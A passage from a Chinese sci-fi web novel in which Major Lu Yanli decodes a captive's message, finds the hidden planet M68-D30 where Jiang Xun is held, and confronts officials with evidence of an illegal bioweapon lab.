威廉姆目露激动，暗自攥紧拳头，为自己的果断抓住机会庆幸不已。与他一同过来当值，却慢了一步的同僚，也目露羡慕地看向他。 最近搅动着整个联盟上层的联合调查组，他们作为情报机构的工作人员，岂能不知道？里面可全都是各部门站在联盟最顶端的大人物。 原本他们觉得，由陆厌离少将亲自送来，还需要在破译之前专门签订保密协议的，一定是军部那边等级很高的任务。即使是这种等级的任务，对他们来说，都已经是天上掉馅饼一样的工作了，他们可没敢往联合调查组那边想。 他们这种留在情报科里朝九晚五当值的，都是些资历浅，背后没什么资本支持的基层工作者。平日里，能在军部高层面前露露脸，都已经是非常难得的事了，更遑论联合调查组的那些大人物们？ 这一次，如果能完美完成任务，不知会给他带来多少隐形的好处。 威廉姆连正经当值的工作都快忘了，还是被同僚偷偷提醒才想起来。 因为陆厌离说过这次任务需要保密，他连上司都没敢透露，只是以事假的名义向上级请了假，这才跟着陆厌离，一路疾驰到联合调查组指挥厅。又签订了严格的保密协议，这才拿到了陆厌离手上那份以精神力脉冲变化记录下来的密文。 威廉姆接过密文，快速浏览一遍，紧张的心情立刻放松下来。 这份密文只是使用的表达方式比较罕见，只要把几种不同的脉冲变化分别转换为符号序列，就能发现，其编码规则其实是一种比较常见的密文格式。 这样的发现立刻令他有了信心，“陆少将，这是一份标准的野外观测密文格式，常用于一些学术勘探、观测课题上。”一边说着，威廉姆马上坐到了光脑前，手指飞快地敲击起来，“破译不难，我马上为您进行解码。” 随着解码程序的运行，一行行由江寻收集起来的数据呈现在了两人面前的光屏上。 陆厌离紧紧盯着屏幕，随着一条又一条信息的出现，一个描述具体的星球几乎出现在了他的眼前。 他深吸一口气，立刻在心中再次上调了这份情报的重要等级。同时，也为自己当机立断提高了这份情报的保密等级而庆幸。 在他没有找到情报上所描述的这颗星球之前，决不能让伊莱发现他们已经掌握了具体的情报，一旦打草惊蛇，伊莱很可能会立刻转移江寻。到时候，江寻费心传出来的这份情报就白费了。 “这份情报非常重要，”陆厌离看向威廉姆，“恐怕得委屈一下你，这几天都呆在这里了。” “没问题，陆少将！”威廉姆立刻答应下来。开玩笑，这里来来往往的可都是他以往只能在新闻频道上看到的大人物，他还巴不得留在这里不走呢。 将威廉姆安排好，陆厌离直接带着解码出的译文，私下会见了如今的联合调查组最高指挥官——联盟安全总部部长蔚泽洋阁下，以及愈灵殿殿主，索珠大人。 在蔚部长的办公室里，拿出了这份新情报。 蔚部长迅速浏览过这薄薄几页纸上的新情报，将纸页递给索珠，这才面色严肃地看向陆厌离：“你确定消息来源可靠吗？” “我确定。”陆厌离郑重点头，“这是江寻通过与我的特殊联系，亲自传递过来的信息。” 此时，索珠也看完了纸页上标注的这些观测数据，沉吟片刻，看向蔚部长：“如果他们真的有某些特殊的情报传递渠道的话，这的确像是江寻能做出的反应。” 得到索珠这个与江寻比较熟悉的愈灵殿殿主的确认，蔚部长没有迟疑，立刻拍板决定，“天文学者方面，我来安排。”他说着，看向陆厌离，“陆少将，你继续封锁好消息，不要令对方察觉到我们的行动。一切等锁定“寻道者”具体的位置后再决定。” 陆厌离点头，立刻应下。 很快，几位背景清白，资历深厚的天体物理学家、导航师，纷纷接到名目不同的邀请，被秘密召集起来，在研究室中看到了这份情报，被要求在联盟星域中寻找符合这份数据描述的星球。 当看到前来主持会议的负责人时，他们立刻明白了这份任务的重要性。没有推脱，立刻以自己的专业素养分析起数据来。 然而，虽然江寻已经尽量详尽的记录。可受限于他有限的天文知识，与肉眼估算所带来的不可避免的误差。想要精确锁定到目标位置依然非常困难。 几位学者经过了连续数日的计算与对比，几乎检索了联盟疆域内在册的所有星域。最后，终于凭借着情报上提到的大致星辰运行范围与轨迹特征，圈出了几个可能性最高的区域。 “根据这份参数数据的记录，”一位德高望重头发花白的老学者拿出标记着最终检索结果的联盟星图，在光屏上打开，指了指几处相隔甚远，被圈出的区域，对蔚部长汇报道，“目标星球，应该就位于这几片星域中的某一处。这几个方位，都能观测到与情报描述有较高吻合度的星辰变动。” 老学者推了推眼镜，遗憾叹道：“不过，根据这份模糊的情报，我们能推测出的准确信息，顶多就到这里了。无法进一步缩小到单一坐标。” 陆厌离看着星图上几处被圈出的范围，“辛苦各位了，接下来的事，就交给我们吧。” “长官，我申请带队深入调查。”陆厌离毫不犹豫，立刻看向蔚部长。 看了看陆厌离坚定的眼神，蔚泽洋点了点头：“准了，我特批一队军情处的精英和高级调查官给你，并授予你星核数据中心的临时查阅权限，务必在最短的时间内，排查出结果。你有信心吗？” “保证完成任务！”陆厌离眼睛一亮，立刻立正抚胸敬礼。 “嗯。”蔚泽洋满意地点点头，“外部的压力我会暂时为你们扛下来，你们尽管放手去做，只一点，在没有得到切实证据之前，调查行动必须保密。”蔚泽洋强调道。 “是！” 有了安全总部部长的全力支持，很快，一支精锐小队便组建起来，由陆厌离带领着，开始投入紧张的排查工作中。 已经从江寻那里确认，动手的人就是伊莱·凡纳，那么他们的任务就有了一个基础的方向。 陆厌离迅速为他们的第一项任务定下了目标，就是筛选出这些星域中，与凡纳家族存在密切关联的星系。基于伊莱的年纪，陆厌离将时间暂定为二十年内。有了这个明确的方向，调查工作迅速开展。 有了星核数据中心的查阅权限，很多步骤都变得简单。 陆厌离从数据库中调取了凡纳家族这二十年之内的商业投资记录、矿产勘探记录、甚至于一些对方并没有登记在册，却被情报人员发现后上报至数据库中的资金往来。 凡纳家族庞大的商业规模，令这项工作变得极为繁琐困难，一个小队的资深调查官，足足花费了将近一周时间的高强度筛查，才将大部分区域逐一排除。 最终，光屏上只剩下了两处被高亮标记出的星域。 陆厌离指着光屏上靠近边缘的第一处星域，向蔚部长阐述：“……这片星域地处边缘星域附近，还没有在联盟中获得正式编号。星域之中政局混乱，政党林立，还未获得统一正式成为联盟成员国。 根据我们查到的资料显示，在十一年前，凡纳家族曾经通过多个离岸空壳公司，向盘踞于此的一支‘独立军’提供了大量资金与资源援助。但是这支‘独立军’最后还是在内战中失败了。在他们经营的地盘被如今的‘政府军’占领后，凡纳家明面上从此星域内撤了资，但因为他们从早期开始就开始在这片星域中投资，我们怀疑这里至今仍然盘踞着被凡纳家背后操控的势力单位。” “但是因为该地区还没有完全纳入联盟管辖的范围内，出于不干涉其他国家内政的宪章，数据库中并没有这片星域中具体的星系数据。我们无法继续往下排除。” 蔚泽洋点了点头，示意陆厌离继续往下说。 陆厌离的手指，随即指向位于星图南方的第二处标记区域：“还有一处嫌疑很大的区域，位于这里——” 陆厌离的指尖在星图上划过一道短短的横线，“M67至M68星域南部沿线。” “表面上看，这里只是凡纳家控股的一家跨星系矿业公司的原材料供应地之一。但根据我们从数据库中找到的记录上显示，除了为他们的公司供应原料之外，凡纳家曾经在十三年前，以‘恢复矿产星球生态环境’的名义，在这片星域大力投资，并获得了数颗星球的长期开发使用权。” “当时凡纳家与当地执政机关的协议在数据库中都有备份，但是根据后续的环境调查报告，其后续的生态恢复情况十分不尽如人意，并且相关的资源产出，也与其投入的资金规模不符。在这种每年都存在大量亏损的情况下，这项投资还持续了十三年之久，我们怀疑这里存在利用合法外壳掩盖其真实用途的重大嫌疑。” “更重要的是，”陆厌离再次翻出一个表格，向蔚部长展示道，“我们调查的时候无意查出，M68星域在这十年间，曾经爆发过多次病毒传染事件。但是因为事件处理得十分快速，没有造成大规模泄露，这才不为人所知。” “根据凡纳家在此处投入的巨量资金，我们推断，其很可能在这片星域中从事非法生物病毒研究。” 看着表格上显示出的明显超标的数据，蔚部长眉头紧蹙，转头与军部代表对视一眼，得到对方一个肯定的点头。 “查！给我继续查下去！特别是M68星域的情况。就算没有S级向导被绑架事件，联盟也绝不姑息任何试图使用生化武器威胁公民安全的非法研究室存在！”蔚部长重重一拍桌子，掷地有声。 “对，我们军部也是一样的想法。”军部代表对陆厌离点点头，“军部会为接下来的行动提供战力支援，这件事必须严查到底！陆少将，你的作战经验丰富，接下来的行动就继续由你来带队。我会从直属元帅的第一军团中调来一个精锐师配合你的行动，务必要将所有威胁联盟安全的隐患扼死在萌芽期！” “是，将军！”陆厌离领命而去。 陆厌离接下来的行动更加迅速，他一边派人实地前往第一处边缘星域中，调查其下星系的具体情况。一边组织人手，对于M67至M68星域内的星系进行更加深入的调查。 有了江寻提供的“橙矮星”这一关键的恒星特征，他们的调查工作有着明确的方向。 大量的人力根据江寻提供的星球自身环境特征，围绕着这几个星域之内每一颗记录在案的，拥有橙矮星的行星系统，进行了地毯式调查对比。 久远的历史档案与文献数据被调取对比，在边缘星系那边的情报还未完全调查出来时，M68星域东南部边缘，一个不起眼的小型星系，首先进入了陆厌离的视野之中。 资料显示，该星系的执政政体，在数十年前曾与凡纳家族达成深度合作关系，以供应稀有矿产为代价，换取凡纳家提供的技术输出与资源支持。 到这里为止都是正常的投资行为，直到一份数年前的星体管理档案更新记录，引起了陆厌离的注意。 在大约六七年之前，该星系执政政体，曾经向联盟单方面申报，其星系内一颗临时代号为M68-D30的小型矿产星球，经过多年的开发与采集，已经资源枯竭，不再具备开发价值。故申请注销其行星编号。 当时他们提交的证明与影像记录完全，联盟也并未深究，按照正常流程，对该枚小行星进行了注销操作。 从此之后，关于这颗小行星的一切资料，都不再更新，它的最后记录，停留在六年之前。 而根据这颗行星未被注销前的记录，其留存下来的星体档案中记载的行星位置、重力参数、大气成分、卫星情况等，都与江寻描述中，所在的那颗星球高度相似。 “这里，嫌疑非常大啊，少将。”负责调查这片区域的情报人员，揉了揉覆着血丝的干涩眼眶，兴奋地指着官方陈旧档案中的星球影像，对陆厌离说道。这几天里，他们特别调查组几乎吃住都在这里，为了保密，连家人都瞒着，连续工作了好多天。 如今终于看到希望，声音都因为激动尖锐了起来。 听到他的发言，周围一片忙碌的其他工作人员也纷纷抬起头来，看向陆厌离。 陆厌离没有轻易下结论，再次调出这颗星球被官方抹去之前的记录，详细对比一番，又查看了由中央空港记录下来的，最近一段时间伊莱在几个跃迁枢纽站中留下的行程记录。 他的眼睛越来越亮。 所有的线索，都指向这个被刻意抹去的角落。 “我去找蔚部长！” 他立刻转身，匆匆走向位于顶楼的安全部长办公室，脚步急切。 一番详细汇报后，陆厌离对着蔚部长行了一个标准的军礼，熬红了的眼眶中，闪烁着锐利锋芒： “长官，目标位于这颗行星上的几率非常高。我申请立刻对该星域实施区域封锁，切断其一切对外通讯与航道路线，防止对方转移人质。同时，我请求作为第一梯队登陆指挥官，亲自登陆M58-D30号行星，进行实地侦查与营救任务。” 蔚泽洋看了看资料中那颗隐藏在星域边缘的星球，虽然深知此刻的每一分钟都十分宝贵，可还是在沉吟之后，对陆厌离说道：“M68星域不比边缘星域，他们是已经正式加入联盟的成员国。如今虽然我们已经查出了嫌疑度很高的指向星球，仍不能越过其执政国直接武装登陆其名下星球。即使这是一颗已经被申请注销编号的星球。” 他重重看向陆厌离，“我知道你的心情急切，但这是联盟立足之本，任何人不得违犯。” “可是……”陆厌离着急起来，蔚部长明明在之前的调查行动中都在全力支持他，可如今已经临门一脚，对方却说出了否定的答案，令陆厌离焦急不已。 蔚部长伸手一压，示意陆厌离冷静下来。 “我不是说这件事不能继续追查下去，而是，不能直接这么调查下去。” 蔚泽洋看向陆厌离：“我会下令暂时对其内部的通讯信号予以封锁，航道封锁也没问题。但封锁的持续不会太长，顶多三天。你必须在三天之内，给我带来实质性的证据，我才能以此为据，通报当地成员国，将封锁继续延续下去。” “并且，在此期间，你的一切行动，联盟都不会为你负责，你必须以私人名义想办法取得证据。”蔚泽洋在“私人”二字上着重强调，面色严肃地看向陆厌离，“你能做到吗？” 陆厌离的面色冷肃下来，刚刚的惶急一扫而空。 “我可以！”《 》 240-245 第241章 一令既出， 封锁即刻开始。 数艘护卫舰在蔚部长的指令下，向着M68星域而去。 恰逢交通部门传来消息，在临近的跃迁枢纽站中再次发现了疑似伊莱名下穿梭舰的通行记录。 舰队立刻隐身前行， 看着那艘可疑的穿梭舰出现在视野范围内，然后一无所知地登陆了D30号星球。 随即，舰队迅速加速行驶，在宽广的星域中四散而开， 开启舰艇上的特殊干扰信号， 切断了M68-D30号小行星对外的所有常规通讯信号， 并把守在几处途径此地的航线前，阻挡住所有来往的舰艇。 与此同时， 由蔚泽洋带领的调查指挥部所有工作人员，也忙碌准备起来，以应对即将到来的， 来自各方势力的质询与博弈。 时间紧迫， 陆厌离得令后没有片刻延缓，第一时间驾驶着一艘高性能隐形侦察舰，悄无声息地潜入D30号小行星临近的宇宙空间中亲自侦查。 当看到D30进入眼帘的时候， 陆厌离就谨慎地马上开启了隐形功能。 一眼看到环绕在其轨道上的监察器， 立刻减速， 在监察范围外绕着这颗行星观察一圈， 并开启了舰载探测器， 对其进行了一次远程扫描。 即使用肉眼， 都能看到这颗以“资源枯竭， 环境恶劣。”为理由，遭到废弃除名的小行星，不仅拥有着巍峨高山， 清澈海水，并且绿化程度极高，遍地都是一片生机勃勃的绿色。 由探测器扫描出来的数据，更是令他沉下面容。 这里的大气成分富氧稳定，地表显示出了活跃的生物信号，显然除了肉眼可见的植被之外，还生活着许许多多动物或者人类。 更关键的是，探测器的金属检测模块，即使离得这么远，依然清晰捕捉到了来自其地下深处的强烈磁性共振波。而根据共振波的强度与频率来判断，这颗星球明显仍然是一颗富矿星球，与“资源枯竭”的说法，相去甚远。 陆厌离立即将检测出的环境数据与强磁信号的记录报告存档上传。这些，都是直指六年前“废弃”之名皆是谎言的有力证据。 完成初步扫描，确定这颗星球的确大有问题之后，陆厌离继续操纵着侦察舰，以隐身状态谨慎地绕着小行星飞行，试图找到一个适合潜入的突破口。 然而，随着时间过去，他的心也渐渐沉了下来。 这颗小行星的近地轨道上，布满了大小不一的陨石碎片。根据碎片聚集的位置，陆厌离推测，这颗星球原本应是有两颗小型天然卫星的。但这两颗卫星，都在同一时期被人为摧毁了。其碎片一部分逸散出去，一部分保留在如今的近地轨道上。 陆厌离不清楚对方当时为什么要毁掉两颗卫星。但显然，那些遗留下来的陨石碎片，如今对它的隐形防护起到了很大的作用。 在轨道上漂浮着的大量陨石碎片中，隐藏着数颗全副武装的防空卫星。更有密密麻麻的监察器，如同一颗颗眼睛，日夜不间断地扫描着周围空域，环绕着这颗小行星形成一张几乎毫无死角的监控网。 即使是他驾驶的这艘出自军部最近科技的隐形侦察舰，都几次被其侦测到，引得防空卫星上的武器阵列自动瞄准，仅仅只是一圈侦查下来，就数次险象环生。 绕行一周之后，陆厌离不得不蹙眉承认，这颗星球周围布设的防御系统极为严密，凭他单独一人的能力，目前找不到能够悄无声息潜入进去的监控死角。 恐怕潜入其中直接拿到江寻被囚禁的证据是行不通的，他得从其他方向考虑。 陆厌离操纵着侦察舰缓缓脱离监察范围，如同来时一样，悄无声息地撤离返程。 他需要重新制定新的计划，而时间，还剩下两天。 * 重新返回调查组，陆厌离盯着如今已经处于联盟封锁中的那颗小行星陷入沉思。 突然，一个新的想法进入脑海。 他调取出在之前的初步筛查过程中，意外查出的M68星域近十年内的多次病毒传染事件记录，快速翻阅一遍，着重在记录中记载的病人发作症状上注意了一下。 拿着这些记录，马上去找当时查出这些记录的情报处工作人员。 “帮我调取星核数据中心中记录的，M68星域近十年来的流行病传播报告。还有其爆发地分布图。”陆厌离快速下令。 情报员得令没有多问，手指翻飞中，一张清晰的分布图在光屏上逐渐显现。 整个星域中，各个星系的宜居星上，几乎都遍布着橙色警告光点，其流行病发生率，明显比联盟的平均值要高出许多。 而最特殊的是，在这张分布图上，名为D30号的星球上，却从未出现过病毒传染事件。 一个大胆的计划在陆厌离脑中渐渐成型。 他立即看向旁边坐着的情报员，“请帮我撰写一份异常分析报告单。”陆厌离伸手点了点那张遍布光点的分布图，“论证M68星域中，各大宜居星上的病毒事件高发状况，并指出这种病毒，具有生物工程特征。资料中表现出异常聚集现象，具有人为引导散播的可能性。” 情报员眼前一亮，立刻应下：“是。” 同时，陆厌离又转向另一位情报员，“麻烦你再帮我撰写一份报告，分析记录在凡纳家注资M68星域的十三年之间，通过各种空壳、皮包公司，向该星域中输送的，远超合理规模的高昂资金。并附上其后续时间中，与投资极为不符的收益回报。” 情报部负责人听到陆厌离吩咐下去的两份报告单，立即心领神会，“你是想告诉他们，凡纳家族很可能在这个小行星上，进行危害到整个联盟公共安全的非法生化研究？” 陆厌离一笑，不愧是联盟中经验最丰富的那波情报人员，只用稍加提示，立刻就猜出了他的大部分计划。 “对，”陆厌离深深看了负责人一眼，“分析出来的危害性越严重越好，但是，数据凭依要完全基于事实数据。” 负责人点了点头，“明白，交给我们吧。” 随即，立刻带领着手下两位情报员开始撰写不同的两份报告单。一边写着报告，一边想了想，又看向陆厌离：“这样的两份报告虽然在联系起来时，令人充满怀疑。但这到底只属于推测的范畴。我建议您，再找一些‘切实的’人证、物证出来，更能支持这个合理的推论。” 陆厌离先是稍稍一愣，随即马上反应过来，深深看向负责人，在他意味深长的目光下，点了点头。 几小时后，两份格式严谨的分析报告诞生。 陆厌离接过细细看去，两份报告相辅相成，一份展示了历年来的患病人数真实数据，点出了M68星域疑似长期被笼罩在“非法生化研究”的阴影下。另外一份，也是以明确的事实作为基础，以不合理的资金投入，做出了凡纳家“疑似”在M68星域，进行非法生化病毒研究的推测，并根据过去的真实传染病爆发分布图，“合理”判断出，这个高威胁性的研究所，就位于那颗被注销的M68-D30行星上。 这两份报告，全都是以真实的数据做出的“合理”推断，已经足以令看到的人信服他们这番合理的怀疑。 不过，便如情报部负责人所说的那般，作为推论，它们无法作为法律上的切实犯罪证据。恐怕要用它来争取更多的行动自由是做不到的，特别是在凡纳家已经反应过来的情况下。 他必须要有更加有力的“证据”—— 作者有话说：有二更 第242章 切实的“人证”和“物证”吗？ 陆厌离想了想， 再次吩咐下去：“联系愈灵殿，以特派调查组的名义，申请调阅存储在医疗档案库中的往年数据。” 申请快速下达， 而后被索珠殿主立刻通过。 随即，陆厌离带领着手下的精英情报员们一头扎进档案库里，开始查阅在这十年间，M68星域爆发过的大型传染事件中， 留存下来的患者医疗档案。 “寻找与中央星黑街上的那次‘毒素泄露事件’或者与‘转轮天平’枢纽站上发生的投毒事件中出现的病毒， 特征相似的病人案例。”陆厌离调出之前在两次事件中出现过的病毒表现报告， 分发下去，令所有在值的情报员一起开始查找。 经过几人的连夜筛查， 第二天，陆厌离终于找出了几个病理表现十分相似的典型病例。 这些患者都是在感染初期毫无预兆，当病毒爆发后， 便会逐渐控制不住自身五感， 直至精神亢奋，意识模糊的典型病例。 天色刚刚亮起，他顾不得一夜没睡的疲惫， 带上这些筛选出的病例资料， 便往愈灵殿走去。 一眼看到早早就已经蹲在实验室里的尼克斯组长， 立刻上前抓住他， 将手里的病例资料递了过去：“尼克斯组长， 我想请您帮我开具一份病毒病理分析报告……” 在等待分析报告出炉的同时， 陆厌离再次回到军部大楼， 走进了威尔逊军团长的办公室。半小时后，他驾车离开军部大楼，在一处秘密基地中， 接上一个特殊的人。 最后，带着此人前往军情部门，秘密办理了一系列“正式”的身份认证与证明后，带上尼克斯发送给他的，已经加盖了愈灵殿高级分析师电子印章的正式病理报告，立刻启程，再次向着M68星域疾驰而去。 * M68星域，HD01号执政星。 此时，一场剑拔弩张的谈判会议正在典里密国首都，最高议政厅中举行。 来自联盟的安全总部部长蔚泽洋阁下，携参与此次行动的军部指挥官，及其他同僚下属，正应典里密国邀请，前来当地议政厅，共同探讨此次对于M68星域所属星球D30星，进行航线与通讯封锁的相关事宜。 蔚部长与两位军部、塔中同僚，坐在会议桌一边，听着对面的典里密国外交官员言辞激烈的抗议，厅中气氛凝重。 “……综上所述，我典里密国作为联盟正式成员国，强烈抗议联盟此次无端封锁我方星域内所属行星的霸权行为！这是违背联盟宪章的严重侵权行为，我方要求联盟舰队立即解除封锁，并为此次非法军事行动对我方公开道歉！” 代表典里密国的会议负责人，措辞强硬地陈述着。一番严正抗议过后，联盟方，一位满脸带笑的外交人员，在蔚泽洋的眼神示意下站起身来，一边用和缓的言语安抚对方的情绪，一边再次拿出提前商议好的借口，再次阐述起联盟此次行动的紧迫性与无奈选择： “……我们理解贵方的情绪，但是，时间紧急，此次行动是基于我们对潜在重大安全威胁的预防性措施。我们如今也在评估、申请阶段，一旦排除重大隐患，封锁将立即解除……” 双方再次陷入新一轮的扯皮之中。 正在此时，会议厅旁侧列席中，一位联盟工作人员看了看不停闪烁的通讯器，悄无声息地迈步上前，在蔚部长耳边轻声汇报：“部长，中央星多名议员及其他部门负责人来电，质询此次军事行动……” 蔚泽洋眉头紧蹙起来。 显然，伊莱及其背后的凡纳家族，已经反应过来调查组这次的行动是冲着他们来的，开始联合在联盟中的其他势力开始发力了。 他低头看了看终端上显示的时间，距离他留给陆厌离的行动时间，已经只剩下半个下午了。 蔚泽洋抬手揉了揉眉心，这三天时间里，他也没怎么休息好，一直在应对来自各方的压力，虽未表现出来，但心中也为如今的局势焦虑不已。 看着在对方犀利的质询下节节败退的下属，他正要开口挽回局势，声音又被匆匆走近的副官打断。 副官低头，将一份刚刚传送打印出来，仍带着余温的正式文件递到蔚泽洋手中，低声汇报：“长官，凡纳家族族长，刚刚组织召开了临时议会，在会上提交了紧急质询案，要求我们马上出具擅自发动军事封锁行为的切实理由，否则，就必须在星际标准时间下午18：00之前，解除对D30号行星的封锁，否则，将以滥用职权罪，向军事法庭发起正式控诉。” “18点……”蔚泽洋低声重复，再看了看终端上的时钟。离现在已经不足三小时了…… 他深吸一口气，微微侧头询问地看向身侧的军部同僚：“陆厌离那边还没传来消息？” “还没有，”随行的军部上校摇了摇头，“陆少将驾驶的侦察舰自两天前离开后，至今仍无消息传回来。” 蔚泽洋看着前方的己方发言人再一次在谈判中败下阵来，面容冷肃下来。 多方压力齐下，如果调查组还不能得到任何实质性的有力证据，那么在下午18点，他将不得不签署正式解除封锁的命令。 而一旦封锁解除，毫无疑问，伊莱必会以最快的速度将江寻转移走，甚至对人质产生不利…… 到时候，这一次声势浩大的营救行动就功亏一篑了。 * 时间，一分一秒地流逝着。 而此时，在焦虑中等待结果的，除了坐在议政厅中的蔚泽洋等人，还有被重重封锁在包围圈中的伊莱。 D30号行星上，庄园书房中。 伊莱透过遍布在近地轨道上的监察器，看着包围着星球，森森伫立的舰队，周身气压凝重，面色难看。 此时若有具有向哨天赋的人在旁边，立时便能发现他身上正在剧烈沸腾的强大力场。 两天前，他刚刚乘坐穿梭舰在D30上落地，终端就警报声大响，他只来得及给停留在中央星的下属发出一条紧急求援信号，通讯就彻底被切断了。 监察器上传送过来的图像中，来犯舰队规模庞大，纪律严明，一眼便知是军部精锐战舰。 从两日前到今天，已经快要整整三天了，封锁仍在继续。对方不仅堵住了所有往来航道，连对外通讯都完全截断了。 到现在为止，仍未看到对方有丝毫解除封锁的动向。这一次，连伊莱都在心中忐忑起来，开始回想，在这次的投毒-绑架事件中，自己是否忽略了哪里，留下来什么要命的证据。 劳伦斯看了看坐在前方一动不动的伊莱。 其他人看不出自己这位主子的情绪，可作为从小陪伴着他长大的管家，劳伦斯一眼就看穿了对方掩藏在不动声色中的那抹焦虑。 轻轻上前一步，拍了拍对方的手臂：“伊莱少爷，您放心，这次事件的手尾是由我亲自盯着处理干净的，联盟调查组那些人顶多是怀疑我们，绝不可能拿到什么切实证据。” 伊莱闻言，回头看向劳伦斯，心下安定了一些，眼底闪烁的郁火渐渐平静下来。 “更何况，您当时已经第一时间将求援信号发送出去，老爷不管出于什么样的考虑，都不会任由您出事，让凡纳家与这次的绑架事件扯上关系的。”劳伦斯继续宽慰，“这些封锁舰队到现在还毫无动静就是最好的证明。他们手上必定没有任何实质证据，所以才不敢冒着违反宪章的危险强行登陆。如今的封锁一定是暂时的，时间长了，老爷那边一定会施压令他们撤军的。联盟可还不是他们的一言堂。” 伊莱看了看监控屏幕中，那些包围着他们却毫无动静的舰船，心中渐渐安稳下来。此时才有心去关心其他的事。 “江寻那边状况如何？他有什么异动吗？” 劳伦斯摇了摇头：“并无，江寻先生似乎还不知道外间发生的这些事，只是对您这次连续停留了三天感到好奇。” 伊莱眯了眯眼，“以他的智慧，可不一定不知道出了事。” 劳伦斯一怔：“您是说……” “他八成已经有所猜测了，否则，怎么会对我的行踪好奇呢？之前他也从没关注过这些事吧？”伊莱沉声问道。 “的确……”劳伦斯这才反应过来，江寻好奇伊莱的行踪，的确是这段时间以来的第一次。 “……吩咐下去，加强江寻身边的监控等级。这个时候，我们决不能让他与外界产生联系，给对方送上任何证据。”伊莱吩咐道，“另外，将他转移到我的卧室去，销毁所有他在这里留下的痕迹。让其他人现在就准备起来，一旦封锁解除，我们要第一时间离开M68星域。” “是！”劳伦斯领命，匆匆而去。 伊莱站起身来，走到床边看向旁侧江寻卧室的窗户，目光停留在那个仍在安静垂头，认真看书的身影上，眼中的温度渐渐冰冷下来。 * 时间飞速流逝，时针转过17点，慢慢向着18点的方向滑落。 另一边，议政厅中的谈判会再次陷入焦灼。 典里密国外交大使面色涨红，双手撑在会议桌上，义愤填膺地看向蔚泽洋，发出他们的最后通牒： “……蔚部长，我们的耐心是有限的，如果贵方不能在今天之内正式给出合理的解释，或者立即退兵解除封锁。我方不排除使用强制手段以制止你们干涉我方内政，践踏我国领土完整的霸权行为！” “您应该明白这意味着什么！联盟……” 正在此时，一道气密门滑开的声响打断了大使的愤怒质问，引得所有人的目光都转向门边。 当即便有会议安保人员第一时间拦了上去：“你是什么人？这里正在举行重要会议，谁放你进来的？卫兵！把他带下去！” 来人一身风尘仆仆，双眼疲惫泛红，周身的精神力场都因为长时间的奔波不再稳定，张牙舞爪地弥散在他身周——正是离开了两天多，刚刚驾驶穿梭舰赶到的陆厌离。 “慢！他是我的属下，让他进来。”蔚泽洋看到陆厌离的身影出现，心中稍稍一松，忙出声为他解围。 陆厌离在安保人员顿住时，一个灵活走位越过他，几步走到会议桌前，将手上紧捏着的一个储存器链接上中央光脑，将几份表格、资料投影在会议桌上方。同时，从随身携带的文件袋中，取出几份文件，展示在众人面前。 “指挥官，辛苦您了，不辱使命。”陆厌离先是抚胸，对着蔚部长尊敬一礼，这才面向对面皱眉紧盯着他的外交代表出声： “阁下，您所要求的解释与证据，就在这里！” 第243章 陆厌离在议政厅中环视一圈， 抬手指向投影在会议桌上的几份文件。 “各位，联盟调查组封锁D30号行星的原因，就在这里。” 陆厌离操作光脑， 将图表放大，一份一份让在座所有人看清楚，一边放映一边介绍起来： “这一份，是愈灵殿中记载的， M68星域近十年来发生过的流行传染病事件记录。而旁边这两份， 分别是M67及M69星域中同时期的传染病记录。大家可以看一看， 这三份记录之间，有什么不同。” 陆厌离同时将三份相似的报告表格放大， 展示在所有人面前。 三份表格上，事件发生次数与发病、死亡人数的悬殊差异，立刻令典里密国官方人员紧紧蹙起了眉头。 “相信大家都已经发现了， 在这三个地域相近的星域中， 传染病的爆发次数相差悬殊。而我要告诉你们的是，这不是偶然。事实上，在联盟大部分星域内， 这些数据比这三份报告中显示出来的还要少。” 陆厌离直直看向典里密国负责人， 面色严肃：“也许是时间跨度太长， 也许是相关事件本身爆发基数太少， 也或许……是有什么人， 特意地隐瞒了这个事实。实际上， 如你们所见， 在这十年时间里，M68星域中，出现了传染病异常聚集现象。” 陆厌离再次将另外一份分析报告展示出来， “大家可以看看，这是我方调查组工作人员，基于以上异常数据做出的传染病爆发地具体分布图，与异常分析报告单。” 分布图上，触目惊心的橙色光点几乎遍布所有M68星域所属宜居星。 “根据分析，在这十年时间内，曾有多种传染病曾爆发于M68星域各地，只是因为每次都很快被压制了下去，这才没有引起广泛关注。”陆厌离再次将一份长长的病例档案展示在分析报告旁边。 真实的病历档案上，清晰的死亡日期，影像记录中患者们形态各异，却同样痛苦惨烈的面容，深深震撼了所有与会人员。 “这些，都是M68星域，在过去十年间，上报到愈灵殿医疗中心的真实病例记录。而通过这些病例，我们惊讶地发现，在不同时期，亦或不同地点爆发的数起传染病事件中，居然出现了几种相似的症状。” “而其中出现的一种病理症状，正与曾经短暂出现在中央星域‘病毒泄露事件’中，和之前出现在‘转轮天平’枢纽站‘投毒事件’中的病毒，高度相似。” 陆厌离再次调出由尼克斯组长给出的病毒病理分析报告，展示给所有人看。 等待了片刻，留给众人一些查看报告与思考的时间，陆厌离这才接着说道：“就是根据以上事实，联盟安全总部得出合理推论——” 陆厌离的目光扫过所有典里密国与会人员，此时，所有人的注意力都被他的发言吸引过去，“出现在M68星域的异常病症，具有典型的生物工程特征，并且出现了区域性异常聚集现象，很可能是人为引导散播发生的。” “生物工程特征？人为引导？你的意思是……”典里密国发言人，此时已经顾不上去关注他们来参与这次谈判会议的本来目的了。 看着眼前数份详尽的真实数据记录，看着来自愈灵殿高级病理分析师的权威分析报告，他脸色铁青下来，克制不住地站起身，追问道。 “简单的说，我们怀疑M68星域中，隐藏着一个高危生化病毒研究实验室。并且，在这十年时间里，他们一直在利用M68星域的平民，进行病毒的活体测试。” 陆厌离的目光紧紧锁住发言人变色的面孔，再次调出一张详尽的资金流向图，“这是凡纳家在这十几年时间里，对M68星域，尤其是D30行星的注资记录。而这里，是相应的，在这十几年时间里，他们从这里获取的相应产出。” 陆厌离指了指数据，“你们觉得，他们把钱花在了哪里？又为什么持续十几年一直维持着这么大的资金输入？凡纳家在这里做的事，绝非单纯的商业行为！” “荒谬！这完全是无稽之谈！你是说你口中的这些事，都是凡纳家干的？”负责人下意识地厉声反驳。 凡纳家族已经与典里密国维持了十几年的良好合作关系，典里密国中，更是有大量民众依靠着凡纳家族开办的公司企业维生，他实在不愿相信这个事实。 可显示在面前的数份资料，却令他反驳的声音有些发涩，眼神中也闪过一丝惊疑不定。 “你们不相信吗？别急，除了这些物证之外，我还带来了一个重要证据。”陆厌离转头，看向跟在自己身后一起进来的一人。 那是一个学者模样，戴着厚重眼镜的中年男人。从进入议政厅开始，便一脸畏缩，此刻看到陆厌离望向他，更是浑身一抖，下意识向后退了半步。 